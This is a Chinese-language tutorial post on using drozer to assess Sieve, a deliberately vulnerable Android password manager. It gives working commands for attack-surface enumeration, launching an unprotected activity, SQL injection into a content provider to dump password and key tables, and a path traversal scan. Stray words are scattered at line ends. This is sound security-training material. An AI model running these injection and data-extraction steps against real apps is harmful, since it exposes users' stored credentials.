0x00:前言java
Android中的app其實存在着不少應用缺陷,不少時候都須要對其進行安全評估,drozer就是其中一個很好的工具。這裏用到一個app是sieve(一個密碼管理器),它自己存在的缺陷就能夠做爲測試的樣本。android
0x01:數據庫
安裝sieve後進去配置好密碼,PIN碼後,隨便添加一個須要管理密碼的信息windows
0x02:安裝drozer安全
tips:個人平臺是windows,安裝時有幾個坑app
下載了drozer後安裝,跟進到drozer目錄下運行drozer.bat,顯示以下便是安裝成功tcp
接着在下載的drozer文件夾裏面有個agent.apk文件,將其安裝到手機上並運行以下ide
而後adb forward tcp:31415 tcp:31415轉發一下工具
接着運行drozer console connect的時候會顯示以下測試
解決方案:
在drozer目錄下建立一個.drozer_config文件(windows下沒法直接建立.開頭的文件,方法爲先建立一個1.drozer_config文件,再用rename命令修改)
其中添加如下幾行(其中爲java和javac的路徑)
[executables]
java=F:\Java\jdk1.8.0_66\bin\java.exe
javac=F:\Java\jdk1.8.0_66\bin\javac.exe
建立後再運行,顯示以下即運行成功
(若是出現Erron 10061或者Erron 10054,解決方法請見:http://blog.csdn.net/ksr12333/article/details/39181057)
0x03:演示drozer如何評估app
(1)首先能夠列出全部包名run app.package.list -f sieve 這裏就不所有列出了,用-f關鍵字能夠篩選你想測試的app
獲取基本信息(例如:sieve版本,權限信息,用戶ID,組ID,數據目錄等)
run app.package.info -a com.mwr.example.sieve
(2)Itentify the Attack Surface(確認攻擊面) run app.package.attacksurface com.mwr.example.sieve
debuggable就可讓咱們用adb綁定來監測該app
接着獲取該Attack Surface的信息 run app.activity.info -a com.mwr.example.sieve
啓動Activity run app.activity.start –-component com.mwr.example.sieve com.mwr.example.sieve.PWList(PWList一看就是password列表一類的包,因此運行它)
(3)進行SQL注入
用projection和selection參數能夠將SQL語句注入到Content Provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection ""
這裏報錯就表示能夠注入。繼續run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection ""
用run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;-"命令能夠選擇具體須要列出的表。
這是基於Android操做系統建議使用SQLite數據庫存儲用戶數據。SQLite數據庫使用SQL語句,因此能夠進行SQL注入。
(4)從Content Provider中獲取信息
run app.provider.info -a com.mwr.example.sieve
能夠看到Content Provider的具體信息,權限等等
查看Content Provider的URI(數據泄露)
run scanner.provider.finduris -a com.mwr.example.sieve
咱們嘗試查看具體信息 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –-vertical
能夠看到加密的密碼以及設置的信息
(5)檢測是否存在遍歷文件漏洞
run scanner.provider.traversal -a com.mwr.example.sieve
上面的部分比較簡單的演示了drozer的基本用法,更加詳細的請見官方文檔:
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf
0x04:總結
drozer強大的評估功能(SQL注入檢測、Content Provider檢測、遍歷文件漏洞、以及根據漏洞捕獲敏感信息)爲咱們在處理一個app時提供了很大的幫助,也但願藉此分享給全部熱愛Android安全的朋友。若是有什麼地方沒寫對,望不吝指正。
0x05:參考